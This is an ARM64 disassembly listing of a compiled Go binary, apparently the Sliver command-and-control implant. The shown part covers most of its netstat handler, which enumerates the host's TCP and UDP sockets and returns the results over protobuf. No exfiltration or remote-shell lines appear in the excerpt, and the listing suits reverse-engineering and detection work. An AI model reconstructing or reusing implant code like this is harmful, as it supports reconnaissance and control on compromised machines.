    005062ec
    005062ecloc_5062ec:
    005062ecstr x3, [x2+24]
    005062f0ldr x2, [sp+272]
    005062f4str x2, [sp+120]
    005062f8str x2, [sp+288]
    005062fcstp xzr, xzr, [sp+352]
    00506300str xzr, [sp+368]
    00506304stp xzr, xzr, [sp+296]
    00506308ldr x1, [sp+288]
    0050630cadrp x0, 0x20e000
    00506310add x0, x0, 64
    00506314bl google.golang.org/protobuf/proto.Marshal
    00506318str x0, [sp+352]
    0050631cstr x1, [sp+360]
    00506320str x2, [sp+368]
    00506324str x3, [sp+296]
    00506328str x4, [sp+304]
    0050632cldr x2, [sp+352]
    00506330ldr x3, [sp+360]
    00506334ldr x4, [sp+368]
    00506338str x2, [sp+184]
    0050633cstr x3, [sp+192]
    00506340str x4, [sp+200]
    00506344ldr x2, [sp+296]
    00506348ldr x3, [sp+304]
    0050634cstr x2, [sp+424]
    00506350str x3, [sp+432]
    00506354ldr x2, [sp+184]
    00506358ldr x3, [sp+192]
    0050635cldr x4, [sp+200]
    00506360str x2, [sp+456]
    00506364str x3, [sp+464]
    00506368str x4, [sp+472]
    0050636cldr x3, [sp+424]
    00506370ldr x4, [sp+432]
    00506374str x3, [sp+168]
    00506378str x4, [sp+176]
    0050637cldr x0, [sp+456]
    00506380ldr x1, [sp+464]
    00506384ldr x2, [sp+472]
    00506388ldr x26, [sp+480]
    0050638cldr x5, [x26]
    00506390blr x5
    00506394ldp x29, x30, [sp-8]
    00506398add sp, sp, 448
    0050639cret x30
    005063a0
    005063a0loc_5063a0:
    005063a0stp x0, x1, [sp+8]
    005063a4stp x2, x3, [sp+24]
    005063a8mov x3, x30
    005063acbl runtime.morestack_noctxt.abi0
    005063b0ldp x0, x1, [sp+8]
    005063b4ldp x2, x3, [sp+24]
    005063b8b 0x505fa0
    005063bcudf 0
    00505fa0
    005063c0
    005063c0github.com/bishopfox/sliver/implant/sliver/handlers.netstatHandler: ; void github.com/bishopfox/sliver/implant/sliver/handlers.netstatHandler(struct []uint8 data, github.com/bishopfox/sliver/implant/sliver/handlers.RPCResponse resp)
    005063c0ldr x16, [x28+16]
    005063c4sub x17, sp, 1056
    005063c8subs xzr, x17, x16
    005063ccb.ls 0x50706c
    005063d0sub x20, sp, 1184
    005063d4stp x29, x30, [x20-8]
    005063d8add sp, x20, 0
    005063dcsub x29, sp, 8
    005063e0str x0, [sp+1192]
    005063e4str x1, [sp+1200]
    005063e8str x2, [sp+1208]
    005063ecstr x3, [sp+1216]
    005063f0adrp x0, 0x187000
    005063f4add x0, x0, 3072
    005063f8bl runtime.newobject
    005063fcstr x0, [sp+888]
    00506400adrp x27, 0x545000
    00506404ldr w1, [x27+3056]
    00506408cbz w1, 0x506410
    0050640cb 0x506414
    00506410
    00506410loc_506410:
    00506410b 0x506430
    00506414
    00506414loc_506414:
    00506414str x0, [sp+400]
    00506418mov x1, x0
    0050641cadrp x0, 0x187000
    00506420add x0, x0, 3072
    00506424bl runtime.wbZero
    00506428ldr x0, [sp+400]
    0050642cb 0x506430
    00506430
    00506430loc_506430:
    00506430stp xzr, xzr, [x0]
    00506434stp xzr, xzr, [x0+16]
    00506438stp xzr, xzr, [x0+32]
    0050643cstr xzr, [x0+48]
    00506440ldr x4, [sp+888]
    00506444str x4, [sp+192]
    00506448str x4, [sp+1008]
    0050644cldr x0, [sp+1192]
    00506450ldr x1, [sp+1200]
    00506454ldr x2, [sp+1208]
    00506458adrp x3, 0x20e000
    0050645cadd x3, x3, 96
    00506460bl google.golang.org/protobuf/proto.Unmarshal
    00506464str x0, [sp+288]
    00506468str x1, [sp+296]
    0050646ccbnz x0, 0x506474
    00506470b 0x506534
    00506474
    00506474loc_506474:
    00506474add x27, sp, 992
    00506478stp xzr, xzr, [x27]
    0050647cadd x5, sp, 992
    00506480str x5, [sp+856]
    00506484ldr x5, [sp+288]
    00506488ldr x6, [sp+296]
    0050648cstr x5, [sp+840]
    00506490str x6, [sp+848]
    00506494str x5, [sp+832]
    00506498ldr x5, [sp+832]
    0050649ccbnz x5, 0x5064a4
    005064a0b 0x5064b4
    005064a4
    005064a4loc_5064a4:
    005064a4ldr x5, [sp+832]
    005064a8ldr x5, [x5+8]
    005064acstr x5, [sp+832]
    005064b0b 0x5064b8
    005064b4
    005064b4loc_5064b4:
    005064b4b 0x5064b8
    005064b8
    005064b8loc_5064b8:
    005064b8ldr x5, [sp+856]
    005064bcldrsb x27, [x5]
    005064c0ldr x6, [sp+848]
    005064c4ldr x7, [sp+832]
    005064c8str x7, [x5]
    005064ccadrp x27, 0x545000
    005064d0ldr w7, [x27+3056]
    005064d4cbz w7, 0x5064dc
    005064d8b 0x5064e0
    005064dc
    005064dcloc_5064dc:
    005064dcb 0x5064f4
    005064e0
    005064e0loc_5064e0:
    005064e0bl runtime.gcWriteBarrier2
    005064e4str x6, [x25]
    005064e8ldr x7, [x5+8]
    005064ecstr x7, [x25+8]
    005064f0b 0x5064f4
    005064f4
    005064f4loc_5064f4:
    005064f4str x6, [x5+8]
    005064f8ldr x2, [sp+856]
    005064fcldrsb x27, [x2]
    00506500b 0x506504
    00506504
    00506504loc_506504:
    00506504str x2, [sp+864]
    00506508orr x4, xzr, 1
    0050650cstr x4, [sp+872]
    00506510str x4, [sp+880]
    00506514adrp x0, 0x1b4000
    00506518add x0, x0, 981
    0050651cmovz x1, 26
    00506520mov x3, x4
    00506524bl log.Printf
    00506528ldp x29, x30, [sp-8]
    0050652cadd sp, sp, 1184
    00506530ret x30
    00506534
    00506534loc_506534:
    00506534adrp x0, 0x16d000
    00506538add x0, x0, 2336
    0050653cbl runtime.newobject
    00506540str x0, [sp+824]
    00506544adrp x27, 0x545000
    00506548ldr w1, [x27+3056]
    0050654ccbz w1, 0x506554
    00506550b 0x506558
    00506554
    00506554loc_506554:
    00506554b 0x506574
    00506558
    00506558loc_506558:
    00506558str x0, [sp+392]
    0050655cmov x1, x0
    00506560adrp x0, 0x16d000
    00506564add x0, x0, 2336
    00506568bl runtime.wbZero
    0050656cldr x0, [sp+392]
    00506570b 0x506574
    00506574
    00506574loc_506574:
    00506574stp xzr, xzr, [x0]
    00506578stp xzr, xzr, [x0+16]
    0050657cstp xzr, xzr, [x0+32]
    00506580stp xzr, xzr, [x0+48]
    00506584str xzr, [x0+64]
    00506588ldr x2, [sp+824]
    0050658cstr x2, [sp+184]
    00506590adrp x2, 0x545000
    00506594add x2, x2, 1504
    00506598str x2, [sp+304]
    0050659cstp xzr, xzr, [sp+312]
    005065a0ldr x2, [sp+192]
    005065a4ldrsb x27, [x2]
    005065a8ldrb w2, [x2+9]
    005065actbnz w2, 0, 0x5065b4
    005065b0b 0x506a68
    005065b4
    005065b4loc_5065b4:
    005065b4ldr x2, [sp+192]
    005065b8ldrsb x27, [x2]
    005065bcldrb w2, [x2+10]
    005065c0tbnz w2, 0, 0x5065c8
    005065c4b 0x506808
    005065c8
    005065c8loc_5065c8:
    005065c8str xzr, [sp+968]
    005065ccadd x27, sp, 976
    005065d0stp xzr, xzr, [x27]
    005065d4add x27, sp, 952
    005065d8stp xzr, xzr, [x27]
    005065dcadrp x0, 0x1d2000
    005065e0add x0, x0, 3144
    005065e4bl github.com/bishopfox/sliver/implant/sliver/netstat.UDPSocks
    005065e8str x0, [sp+968]
    005065ecstr x1, [sp+976]
    005065f0str x2, [sp+984]
    005065f4str x3, [sp+952]
    005065f8str x4, [sp+960]
    005065fcldr x1, [sp+968]
    00506600ldr x2, [sp+976]
    00506604ldr x3, [sp+984]
    00506608str x1, [sp+368]
    0050660cstr x2, [sp+376]
    00506610str x3, [sp+384]
    00506614ldr x1, [sp+952]
    00506618ldr x2, [sp+960]
    0050661cstr x1, [sp+352]
    00506620str x2, [sp+360]
    00506624ldr x1, [sp+368]
    00506628ldr x2, [sp+376]
    0050662cldr x3, [sp+384]
    00506630str x1, [sp+160]
    00506634str x2, [sp+168]
    00506638str x3, [sp+176]
    0050663cldr x1, [sp+360]
    00506640ldr x2, [sp+352]
    00506644str x2, [sp+272]
    00506648str x1, [sp+280]
    0050664ccbnz x2, 0x506654
    00506650b 0x506714
    00506654
    00506654loc_506654:
    00506654add x27, sp, 992
    00506658stp xzr, xzr, [x27]
    0050665cadd x5, sp, 992
    00506660str x5, [sp+792]
    00506664ldr x5, [sp+272]
    00506668ldr x6, [sp+280]
    0050666cstr x5, [sp+776]
    00506670str x6, [sp+784]
    00506674str x5, [sp+768]
    00506678ldr x5, [sp+768]
    0050667ccbnz x5, 0x506684
    00506680b 0x506694
    00506684
    00506684loc_506684:
    00506684ldr x5, [sp+768]
    00506688ldr x5, [x5+8]
    0050668cstr x5, [sp+768]
    00506690b 0x506698
    00506694
    00506694loc_506694:
    00506694b 0x506698
    00506698
    00506698loc_506698:
    00506698ldr x5, [sp+792]
    0050669cldrsb x27, [x5]
    005066a0ldr x6, [sp+784]
    005066a4ldr x7, [sp+768]
    005066a8str x7, [x5]
    005066acadrp x27, 0x545000
    005066b0ldr w7, [x27+3056]
    005066b4cbz w7, 0x5066bc
    005066b8b 0x5066c0
    005066bc
    005066bcloc_5066bc:
    005066bcb 0x5066d4
    005066c0
    005066c0loc_5066c0:
    005066c0bl runtime.gcWriteBarrier2
    005066c4str x6, [x25]
    005066c8ldr x7, [x5+8]
    005066ccstr x7, [x25+8]
    005066d0b 0x5066d4
    005066d4
    005066d4loc_5066d4:
    005066d4str x6, [x5+8]
    005066d8ldr x2, [sp+792]
    005066dcldrsb x27, [x2]
    005066e0b 0x5066e4
    005066e4
    005066e4loc_5066e4:
    005066e4str x2, [sp+800]
    005066e8orr x4, xzr, 1
    005066ecstr x4, [sp+808]
    005066f0str x4, [sp+816]
    005066f4adrp x0, 0x1af000
    005066f8add x0, x0, 2543
    005066fcmovz x1, 18
    00506700mov x3, x4
    00506704bl log.Printf
    00506708ldp x29, x30, [sp-8]
    0050670cadd sp, sp, 1184
    00506710ret x30
    00506714
    00506714loc_506714:
    00506714ldr x2, [sp+160]
    00506718ldr x3, [sp+168]
    0050671cldr x4, [sp+176]
    00506720adrp x0, 0x1aa000
    00506724add x0, x0, 456
    00506728orr x1, xzr, 3
    0050672cbl github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries
    00506730str x0, [sp+928]
    00506734str x1, [sp+936]
    00506738str x2, [sp+944]
    0050673cldr x2, [sp+320]
    00506740ldr x5, [sp+312]
    00506744ldr x0, [sp+304]
    00506748str x0, [sp+744]
    0050674cstr x5, [sp+752]
    00506750str x2, [sp+760]
    00506754ldr x6, [sp+936]
    00506758add x1, x5, x6
    0050675cstr x1, [sp+80]
    00506760subs xzr, x2, x1
    00506764b.hs 0x50676c
    00506768b 0x506774
    0050676c
    0050676cloc_50676c:
    0050676cstr x1, [sp+752]
    00506770b 0x506794
    00506774
    00506774loc_506774:
    00506774ldr x3, [sp+936]
    00506778adrp x4, 0x17b000
    0050677cadd x4, x4, 288
    00506780bl runtime.growslice
    00506784str x0, [sp+744]
    00506788str x1, [sp+752]
    0050678cstr x2, [sp+760]
    00506790b 0x506794
    00506794
    00506794loc_506794:
    00506794ldr x5, [sp+80]
    00506798ldr x6, [sp+744]
    0050679cldr x7, [sp+752]
    005067a0ldr x8, [sp+760]
    005067a4ldr x9, [sp+936]
    005067a8sub x10, x5, x9
    005067acadd x8, x8, x9
    005067b0sub x8, x8, x5
    005067b4add x7, x7, x9
    005067b8sub x2, x7, x5
    005067bcsub x5, xzr, x8
    005067c0ubfm x7, x10, 61, 60
    005067c4and x5, x7, x5, asr #63
    005067c8add x1, x6, x5
    005067ccstr x1, [sp+720]
    005067d0str x2, [sp+728]
    005067d4str x8, [sp+736]
    005067d8ldr x4, [sp+936]
    005067dcldr x3, [sp+928]
    005067e0adrp x0, 0x17b000
    005067e4add x0, x0, 288
    005067e8bl runtime.typedslicecopy
    005067ecldr x5, [sp+744]
    005067f0ldr x6, [sp+752]
    005067f4ldr x7, [sp+760]
    005067f8str x5, [sp+304]
    005067fcstr x6, [sp+312]
    00506800str x7, [sp+320]
    00506804b 0x50680c
    00506808
    00506808loc_506808:
    00506808b 0x50680c
    0050680c
    0050680cloc_50680c:
    0050680cldr x2, [sp+192]
    00506810ldrsb x27, [x2]
    00506814ldrb w2, [x2+11]
    00506818tbnz w2, 0, 0x506820
    0050681cb 0x506a60
    00506820
    00506820loc_506820:
    00506820str xzr, [sp+968]
    00506824add x27, sp, 976
    00506828stp xzr, xzr, [x27]
    0050682cadd x27, sp, 952
    00506830stp xzr, xzr, [x27]
    00506834adrp x0, 0x1d2000
    00506838add x0, x0, 3144
    0050683cbl github.com/bishopfox/sliver/implant/sliver/netstat.UDP6Socks
    00506840str x0, [sp+968]
    00506844str x1, [sp+976]
    00506848str x2, [sp+984]
    0050684cstr x3, [sp+952]
    00506850str x4, [sp+960]
    00506854ldr x1, [sp+968]
    00506858ldr x2, [sp+976]
    0050685cldr x3, [sp+984]
    00506860str x1, [sp+1152]
    00506864str x2, [sp+1160]
    00506868str x3, [sp+1168]
    0050686cldr x1, [sp+952]
    00506870ldr x2, [sp+960]
    00506874str x1, [sp+1136]
    00506878str x2, [sp+1144]
    0050687cldr x1, [sp+1152]
    00506880ldr x2, [sp+1160]
    00506884ldr x3, [sp+1168]
    00506888str x1, [sp+136]
    0050688cstr x2, [sp+144]
    00506890str x3, [sp+152]
    00506894ldr x1, [sp+1144]
    00506898ldr x2, [sp+1136]
    0050689cstr x2, [sp+256]
    005068a0str x1, [sp+264]
    005068a4cbnz x2, 0x5068ac
    005068a8b 0x50696c
    005068ac
    005068acloc_5068ac:
    005068acadd x27, sp, 992
    005068b0stp xzr, xzr, [x27]
    005068b4add x5, sp, 992
    005068b8str x5, [sp+688]
    005068bcldr x5, [sp+256]
    005068c0ldr x6, [sp+264]
    005068c4str x5, [sp+672]
    005068c8str x6, [sp+680]
    005068ccstr x5, [sp+664]
    005068d0ldr x5, [sp+664]
    005068d4cbnz x5, 0x5068dc
    005068d8b 0x5068ec
    005068dc
    005068dcloc_5068dc:
    005068dcldr x5, [sp+664]
    005068e0ldr x5, [x5+8]
    005068e4str x5, [sp+664]
    005068e8b 0x5068f0
    005068ec
    005068ecloc_5068ec:
    005068ecb 0x5068f0
    005068f0
    005068f0loc_5068f0:
    005068f0ldr x5, [sp+688]
    005068f4ldrsb x27, [x5]
    005068f8ldr x6, [sp+680]
    005068fcldr x7, [sp+664]
    00506900str x7, [x5]
    00506904adrp x27, 0x545000
    00506908ldr w7, [x27+3056]
    0050690ccbz w7, 0x506914
    00506910b 0x506918
    00506914
    00506914loc_506914:
    00506914b 0x50692c
    00506918
    00506918loc_506918:
    00506918bl runtime.gcWriteBarrier2
    0050691cstr x6, [x25]
    00506920ldr x7, [x5+8]
    00506924str x7, [x25+8]
    00506928b 0x50692c
    0050692c
    0050692cloc_50692c:
    0050692cstr x6, [x5+8]
    00506930ldr x2, [sp+688]
    00506934ldrsb x27, [x2]
    00506938b 0x50693c
    0050693c
    0050693cloc_50693c:
    0050693cstr x2, [sp+696]
    00506940orr x4, xzr, 1
    00506944str x4, [sp+704]
    00506948str x4, [sp+712]
    0050694cadrp x0, 0x1af000
    00506950add x0, x0, 2543
    00506954movz x1, 18
    00506958mov x3, x4
    0050695cbl log.Printf
    00506960ldp x29, x30, [sp-8]
    00506964add sp, sp, 1184
    00506968ret x30
    0050696c
    0050696cloc_50696c:
    0050696cldr x2, [sp+136]
    00506970ldr x3, [sp+144]
    00506974ldr x4, [sp+152]
    00506978adrp x0, 0x1aa000
    0050697cadd x0, x0, 958
    00506980orr x1, xzr, 4
    00506984bl github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries
    00506988str x0, [sp+928]
    0050698cstr x1, [sp+936]
    00506990str x2, [sp+944]
    00506994ldr x2, [sp+320]
    00506998ldr x5, [sp+312]
    0050699cldr x0, [sp+304]
    005069a0str x0, [sp+640]
    005069a4str x5, [sp+648]
    005069a8str x2, [sp+656]
    005069acldr x6, [sp+936]
    005069b0add x1, x5, x6
    005069b4str x1, [sp+72]
    005069b8subs xzr, x2, x1
    005069bcb.hs 0x5069c4
    005069c0b 0x5069cc
    005069c4
    005069c4loc_5069c4:
    005069c4str x1, [sp+648]
    005069c8b 0x5069ec
    005069cc
    005069ccloc_5069cc:
    005069ccldr x3, [sp+936]
    005069d0adrp x4, 0x17b000
    005069d4add x4, x4, 288
    005069d8bl runtime.growslice
    005069dcstr x0, [sp+640]
    005069e0str x1, [sp+648]
    005069e4str x2, [sp+656]
    005069e8b 0x5069ec
    005069ec
    005069ecloc_5069ec:
    005069ecldr x5, [sp+72]
    005069f0ldr x6, [sp+640]
    005069f4ldr x7, [sp+648]
    005069f8ldr x8, [sp+656]
    005069fcldr x9, [sp+936]
    00506a00sub x10, x5, x9
    00506a04add x7, x7, x9
    00506a08sub x2, x7, x5
    00506a0cadd x7, x8, x9
    00506a10sub x5, x7, x5
    00506a14sub x7, xzr, x5
    00506a18ubfm x8, x10, 61, 60
    00506a1cand x7, x8, x7, asr #63
    00506a20add x1, x6, x7
    00506a24str x1, [sp+616]
    00506a28str x2, [sp+624]
    00506a2cstr x5, [sp+632]
    00506a30ldr x4, [sp+936]
    00506a34ldr x3, [sp+928]
    00506a38adrp x0, 0x17b000
    00506a3cadd x0, x0, 288
    00506a40bl runtime.typedslicecopy
    00506a44ldr x5, [sp+640]
    00506a48ldr x6, [sp+648]
    00506a4cldr x7, [sp+656]
    00506a50str x5, [sp+304]
    00506a54str x6, [sp+312]
    00506a58str x7, [sp+320]
    00506a5cb 0x506a64
    00506a60
    00506a60loc_506a60:
    00506a60b 0x506a64
    00506a64
    00506a64loc_506a64:
    00506a64b 0x506a6c
    00506a68
    00506a68loc_506a68:
    00506a68b 0x506a6c
    00506a6c
    00506a6cloc_506a6c:
    00506a6cldr x2, [sp+192]
    00506a70ldrsb x27, [x2]
    00506a74ldrb w2, [x2+8]
    00506a78tbnz w2, 0, 0x506a80
    00506a7cb 0x50705c
    00506a80
    00506a80loc_506a80:
    00506a80str xzr, [sp+200]
    00506a84ldr x2, [sp+192]
    00506a88ldrsb x27, [x2]
    00506a8cldrb w2, [x2+12]
    00506a90tbnz w2, 0, 0x506a98
    00506a94b 0x506aac
    00506a98
    00506a98loc_506a98:
    00506a98b 0x506a9c
    00506a9c
    00506a9cloc_506a9c:
    00506a9cadrp x2, 0x1d2000
    00506aa0add x2, x2, 2912
    00506aa4str x2, [sp+200]
    00506aa8b 0x506ac0
    00506aac
    00506aacloc_506aac:
    00506aacb 0x506ab0
    00506ab0
    00506ab0loc_506ab0:
    00506ab0adrp x2, 0x1d2000
    00506ab4add x2, x2, 2920
    00506ab8str x2, [sp+200]
    00506abcb 0x506ac0
    00506ac0
    00506ac0loc_506ac0:
    00506ac0ldr x2, [sp+192]
    00506ac4ldrsb x27, [x2]
    00506ac8ldrb w2, [x2+10]
    00506acctbnz w2, 0, 0x506ad4
    00506ad0b 0x506d10
    00506ad4
    00506ad4loc_506ad4:
    00506ad4str xzr, [sp+968]
    00506ad8add x27, sp, 976
    00506adcstp xzr, xzr, [x27]
    00506ae0add x27, sp, 952
    00506ae4stp xzr, xzr, [x27]
    00506ae8ldr x0, [sp+200]
    00506aecbl github.com/bishopfox/sliver/implant/sliver/netstat.TCPSocks
    00506af0str x0, [sp+968]
    00506af4str x1, [sp+976]
    00506af8str x2, [sp+984]
    00506afcstr x3, [sp+952]
    00506b00str x4, [sp+960]
    00506b04ldr x1, [sp+968]
    00506b08ldr x2, [sp+976]
    00506b0cldr x3, [sp+984]
    00506b10str x1, [sp+1112]
    00506b14str x2, [sp+1120]
    00506b18str x3, [sp+1128]
    00506b1cldr x1, [sp+952]
    00506b20ldr x2, [sp+960]
    00506b24str x1, [sp+1096]
    00506b28str x2, [sp+1104]
    00506b2cldr x1, [sp+1112]
    00506b30ldr x2, [sp+1120]
    00506b34ldr x3, [sp+1128]
    00506b38str x1, [sp+112]
    00506b3cstr x2, [sp+120]
    00506b40str x3, [sp+128]
    00506b44ldr x1, [sp+1104]
    00506b48ldr x2, [sp+1096]
    00506b4cstr x2, [sp+240]
    00506b50str x1, [sp+248]
    00506b54cbnz x2, 0x506b5c
    00506b58b 0x506c1c
    00506b5c
    00506b5cloc_506b5c:
    00506b5cadd x27, sp, 992
    00506b60stp xzr, xzr, [x27]
    00506b64add x5, sp, 992
    00506b68str x5, [sp+584]
    00506b6cldr x5, [sp+240]
    00506b70ldr x6, [sp+248]
    00506b74str x5, [sp+568]
    00506b78str x6, [sp+576]
    00506b7cstr x5, [sp+560]
    00506b80ldr x5, [sp+560]
    00506b84cbnz x5, 0x506b8c
    00506b88b 0x506b9c
    00506b8c
    00506b8cloc_506b8c:
    00506b8cldr x5, [sp+560]
    00506b90ldr x5, [x5+8]
    00506b94str x5, [sp+560]
    00506b98b 0x506ba0
    00506b9c
    00506b9cloc_506b9c:
    00506b9cb 0x506ba0
    00506ba0
    00506ba0loc_506ba0:
    00506ba0ldr x5, [sp+584]
    00506ba4ldrsb x27, [x5]
    00506ba8ldr x6, [sp+576]
    00506bacldr x7, [sp+560]
    00506bb0str x7, [x5]
    00506bb4adrp x27, 0x545000
    00506bb8ldr w7, [x27+3056]
    00506bbccbz w7, 0x506bc4
    00506bc0b 0x506bc8
    00506bc4
    00506bc4loc_506bc4:
    00506bc4b 0x506bdc
    00506bc8
    00506bc8loc_506bc8:
    00506bc8bl runtime.gcWriteBarrier2
    00506bccstr x6, [x25]
    00506bd0ldr x7, [x5+8]
    00506bd4str x7, [x25+8]
    00506bd8b 0x506bdc
    00506bdc
    00506bdcloc_506bdc:
    00506bdcstr x6, [x5+8]
    00506be0ldr x2, [sp+584]
    00506be4ldrsb x27, [x2]
    00506be8b 0x506bec
    00506bec
    00506becloc_506bec:
    00506becstr x2, [sp+592]
    00506bf0orr x4, xzr, 1
    00506bf4str x4, [sp+600]
    00506bf8str x4, [sp+608]
    00506bfcadrp x0, 0x1af000
    00506c00add x0, x0, 2543
    00506c04movz x1, 18
    00506c08mov x3, x4
    00506c0cbl log.Printf
    00506c10ldp x29, x30, [sp-8]
    00506c14add sp, sp, 1184
    00506c18ret x30
    00506c1c
    00506c1cloc_506c1c:
    00506c1cldr x2, [sp+112]
    00506c20ldr x3, [sp+120]
    00506c24ldr x4, [sp+128]
    00506c28adrp x0, 0x1aa000
    00506c2cadd x0, x0, 459
    00506c30orr x1, xzr, 3
    00506c34bl github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries
    00506c38str x0, [sp+928]
    00506c3cstr x1, [sp+936]
    00506c40str x2, [sp+944]
    00506c44ldr x2, [sp+320]
    00506c48ldr x5, [sp+312]
    00506c4cldr x0, [sp+304]
    00506c50str x0, [sp+536]
    00506c54str x5, [sp+544]
    00506c58str x2, [sp+552]
    00506c5cldr x6, [sp+936]
    00506c60add x1, x5, x6
    00506c64str x1, [sp+64]
    00506c68subs xzr, x2, x1
    00506c6cb.hs 0x506c74
    00506c70b 0x506c7c
    00506c74
    00506c74loc_506c74:
    00506c74str x1, [sp+544]
    00506c78b 0x506c9c
    00506c7c
    00506c7cloc_506c7c:
    00506c7cldr x3, [sp+936]
    00506c80adrp x4, 0x17b000
    00506c84add x4, x4, 288
    00506c88bl runtime.growslice
    00506c8cstr x0, [sp+536]
    00506c90str x1, [sp+544]
    00506c94str x2, [sp+552]
    00506c98b 0x506c9c
    00506c9c
    00506c9cloc_506c9c:
    00506c9cldr x5, [sp+64]
    00506ca0ldr x6, [sp+536]
    00506ca4ldr x7, [sp+544]
    00506ca8ldr x8, [sp+552]
    00506cacldr x9, [sp+936]
    00506cb0sub x10, x5, x9
    00506cb4add x8, x8, x9
    00506cb8sub x8, x8, x5
    00506cbcadd x7, x7, x9
    00506cc0sub x2, x7, x5
    00506cc4sub x5, xzr, x8
    00506cc8ubfm x7, x10, 61, 60
    00506cccand x5, x7, x5, asr #63
    00506cd0add x1, x6, x5
    00506cd4str x1, [sp+512]
    00506cd8str x2, [sp+520]
    00506cdcstr x8, [sp+528]
    00506ce0ldr x4, [sp+936]
    00506ce4ldr x3, [sp+928]
    00506ce8adrp x0, 0x17b000
    00506cecadd x0, x0, 288
    00506cf0bl runtime.typedslicecopy
    00506cf4ldr x5, [sp+536]
    00506cf8ldr x6, [sp+544]
    00506cfcldr x7, [sp+552]
    00506d00str x5, [sp+304]
    00506d04str x6, [sp+312]
    00506d08str x7, [sp+320]
    00506d0cb 0x506d14
    00506d10
    00506d10loc_506d10:
    00506d10b 0x506d14
    00506d14
    00506d14loc_506d14:
    00506d14ldr x2, [sp+192]
    00506d18ldrsb x27, [x2]
    00506d1cldrb w2, [x2+11]
    00506d20tbnz w2, 0, 0x506d28
    00506d24b 0x506f64
    00506d28
    00506d28loc_506d28:
    00506d28str xzr, [sp+968]
    00506d2cadd x27, sp, 976
    00506d30stp xzr, xzr, [x27]
    00506d34add x27, sp, 952
    00506d38stp xzr, xzr, [x27]
    00506d3cldr x0, [sp+200]
    00506d40bl github.com/bishopfox/sliver/implant/sliver/netstat.TCP6Socks
    00506d44str x0, [sp+968]
    00506d48str x1, [sp+976]
    00506d4cstr x2, [sp+984]
    00506d50str x3, [sp+952]
    00506d54str x4, [sp+960]
    00506d58ldr x1, [sp+968]
    00506d5cldr x2, [sp+976]
    00506d60ldr x3, [sp+984]
    00506d64str x1, [sp+1072]
    00506d68str x2, [sp+1080]
    00506d6cstr x3, [sp+1088]
    00506d70ldr x1, [sp+952]
    00506d74ldr x2, [sp+960]
    00506d78str x1, [sp+1056]
    00506d7cstr x2, [sp+1064]
    00506d80ldr x1, [sp+1072]
    00506d84ldr x2, [sp+1080]
    00506d88ldr x3, [sp+1088]
    00506d8cstr x1, [sp+88]
    00506d90str x2, [sp+96]
    00506d94str x3, [sp+104]
    00506d98ldr x1, [sp+1064]
    00506d9cldr x2, [sp+1056]
    00506da0str x2, [sp+224]
    00506da4str x1, [sp+232]
    00506da8cbnz x2, 0x506db0
    00506dacb 0x506e70
    00506db0
    00506db0loc_506db0:
    00506db0add x27, sp, 992
    00506db4stp xzr, xzr, [x27]
    00506db8add x5, sp, 992
    00506dbcstr x5, [sp+480]
    00506dc0ldr x5, [sp+224]
    00506dc4ldr x6, [sp+232]
    00506dc8str x5, [sp+464]
    00506dccstr x6, [sp+472]
    00506dd0str x5, [sp+456]
    00506dd4ldr x5, [sp+456]
    00506dd8cbnz x5, 0x506de0
    00506ddcb 0x506df0
    00506de0
    00506de0loc_506de0:
    00506de0ldr x5, [sp+456]
    00506de4ldr x5, [x5+8]
    00506de8str x5, [sp+456]
    00506decb 0x506df4
    00506df0
    00506df0loc_506df0:
    00506df0b 0x506df4
    00506df4
    00506df4loc_506df4:
    00506df4ldr x5, [sp+480]
    00506df8ldrsb x27, [x5]
    00506dfcldr x6, [sp+456]
    00506e00ldr x7, [sp+472]
    00506e04str x6, [x5]
    00506e08adrp x27, 0x545000
    00506e0cldr w6, [x27+3056]
    00506e10cbz w6, 0x506e18
    00506e14b 0x506e1c
    00506e18
    00506e18loc_506e18:
    00506e18b 0x506e30
    00506e1c
    00506e1cloc_506e1c:
    00506e1cbl runtime.gcWriteBarrier2
    00506e20str x7, [x25]
    00506e24ldr x6, [x5+8]
    00506e28str x6, [x25+8]
    00506e2cb 0x506e30
    00506e30
    00506e30loc_506e30:
    00506e30str x7, [x5+8]
    00506e34ldr x2, [sp+480]
    00506e38ldrsb x27, [x2]
    00506e3cb 0x506e40
    00506e40
    00506e40loc_506e40:
    00506e40str x2, [sp+488]
    00506e44orr x4, xzr, 1
    00506e48str x4, [sp+496]
    00506e4cstr x4, [sp+504]
    00506e50adrp x0, 0x1af000
    00506e54add x0, x0, 2543
    00506e58movz x1, 18
    00506e5cmov x3, x4
    00506e60bl log.Printf
    00506e64ldp x29, x30, [sp-8]
    00506e68add sp, sp, 1184
    00506e6cret x30
    00506e70
    00506e70loc_506e70:
    00506e70ldr x2, [sp+88]
    00506e74ldr x3, [sp+96]
    00506e78ldr x4, [sp+104]
    00506e7cadrp x0, 0x1aa000
    00506e80add x0, x0, 962
    00506e84orr x1, xzr, 4
    00506e88bl github.com/bishopfox/sliver/implant/sliver/handlers.buildEntries
    00506e8cstr x0, [sp+928]
    00506e90str x1, [sp+936]
    00506e94str x2, [sp+944]
    00506e98ldr x2, [sp+320]
    00506e9cldr x5, [sp+312]
    00506ea0ldr x0, [sp+304]
    00506ea4str x0, [sp+432]
    00506ea8str x5, [sp+440]
    00506eacstr x2, [sp+448]
    00506eb0ldr x6, [sp+936]
    00506eb4add x1, x5, x6
    00506eb8str x1, [sp+56]
    00506ebcsubs xzr, x2, x1
    00506ec0b.hs 0x506ec8
    00506ec4b 0x506ed0
    00506ec8
    00506ec8loc_506ec8:
    00506ec8str x1, [sp+440]
    00506eccb 0x506ef0
    00506ed0
    00506ed0loc_506ed0:
    00506ed0ldr x3, [sp+936]
    00506ed4adrp x4, 0x17b000
    00506ed8add x4, x4, 288
    00506edcbl runtime.growslice
    00506ee0str x0, [sp+432]
    00506ee4str x1, [sp+440]
    00506ee8str x2, [sp+448]
    00506eecb 0x506ef0
    00506ef0
    00506ef0loc_506ef0:
    00506ef0ldr x5, [sp+56]
    00506ef4ldr x6, [sp+432]
    00506ef8ldr x7, [sp+440]
    00506efcldr x8, [sp+448]
    00506f00ldr x9, [sp+936]
    00506f04add x8, x8, x9
    00506f08sub x8, x8, x5
    00506f0cadd x7, x7, x9
    00506f10sub x2, x7, x5
    00506f14sub x5, x5, x9
    00506f18sub x7, xzr, x8
    00506f1cubfm x5, x5, 61, 60
    00506f20and x5, x5, x7, asr #63
    00506f24add x1, x6, x5
    00506f28str x1, [sp+408]
    00506f2cstr x2, [sp+416]
    00506f30str x8, [sp+424]
